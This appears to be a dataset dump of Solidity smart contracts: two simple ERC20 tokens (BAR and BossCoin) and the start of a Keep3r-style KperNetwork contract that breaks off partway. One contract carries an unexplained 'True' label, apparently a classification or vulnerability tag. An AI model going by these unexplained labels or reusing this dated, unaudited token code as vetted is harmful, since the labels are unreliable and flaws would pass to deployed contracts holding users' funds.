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stringlengths 52
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list | attention_mask
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/**
*Submitted for verification at Etherscan.io on 2021-03-07
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'BarBarBabaJi' token contract
//
// Symbol : BAR
// Name : BarBarBabaJi
// Total supply: 55 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract BAR is BurnableToken {
string public constant name = "BarBarBabaJi";
string public constant symbol = "BAR";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 55000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
True
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pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BossCoin is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 500000000000000000;
string public constant name = "BossCoin";
string public constant symbol = "BOCO";
uint public constant decimals = 8;
function BossCoin(){
balances[msg.sender] = totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () {
//if ether is sent to this address, send it back.
throw;
}
}
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "mod: %");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{value:amount}("");
require(success, "Address: reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: < 0");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: !contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: !succeed");
}
}
}
library KperNetworkLibrary {
function getReserve(address pair, address reserve) external view returns (uint) {
(uint _r0, uint _r1,) = IUniswapV2Pair(pair).getReserves();
if (IUniswapV2Pair(pair).token0() == reserve) {
return _r0;
} else if (IUniswapV2Pair(pair).token1() == reserve) {
return _r1;
} else {
return 0;
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IGovernance {
function proposeJob(address job) external;
}
interface IKperNetworkHelper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
contract KperNetwork is ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
/// @notice Keep3r Helper to set max prices for the ecosystem
IKperNetworkHelper public KPRH;
/// @notice EIP-20 token name for this token
string public constant name = "Kper.network";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "KPER";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 0; // Initial 0
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
mapping (address => mapping (address => uint)) internal allowances;
mapping (address => uint) internal balances;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)");
bytes32 public immutable DOMAINSEPARATOR;
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint votes;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
_delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: sig");
require(nonce == nonces[signatory]++, "delegateBySig: nonce");
require(now <= expiry, "delegateBySig: expired");
_delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint) {
require(blockNumber < block.number, "getPriorVotes:");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint delegatorBalance = votes[delegator].add(bonds[delegator][address(this)]);
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint srcRepNew = srcRepOld.sub(amount, "_moveVotes: underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint amount);
/// @notice Submit a job
event SubmitJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Apply credit to a job
event ApplyCredit(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Remove credit for a job
event RemoveJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Unbond credit for a job
event UnbondJob(address indexed job, address indexed liquidity, address indexed provider, uint block, uint credit);
/// @notice Added a Job
event JobAdded(address indexed job, uint block, address governance);
/// @notice Removed a job
event JobRemoved(address indexed job, uint block, address governance);
/// @notice Worked a job
event KeeperWorked(address indexed credit, address indexed job, address indexed keeper, uint block, uint amount);
/// @notice Keeper bonding
event KeeperBonding(address indexed keeper, uint block, uint active, uint bond);
/// @notice Keeper bonded
event KeeperBonded(address indexed keeper, uint block, uint activated, uint bond);
/// @notice Keeper unbonding
event KeeperUnbonding(address indexed keeper, uint block, uint deactive, uint bond);
/// @notice Keeper unbound
event KeeperUnbound(address indexed keeper, uint block, uint deactivated, uint bond);
/// @notice Keeper slashed
event KeeperSlashed(address indexed keeper, address indexed slasher, uint block, uint slash);
/// @notice Keeper disputed
event KeeperDispute(address indexed keeper, uint block);
/// @notice Keeper resolved
event KeeperResolved(address indexed keeper, uint block);
event AddCredit(address indexed credit, address indexed job, address indexed creditor, uint block, uint amount);
/// @notice 1 day to bond to become a keeper
uint constant public BOND = 3 days;
/// @notice 14 days to unbond to remove funds from being a keeper
uint constant public UNBOND = 14 days;
/// @notice 3 days till liquidity can be bound
uint constant public LIQUIDITYBOND = 3 days;
/// @notice direct liquidity fee 0.3%
uint constant public FEE = 30;
uint constant public BASE = 10000;
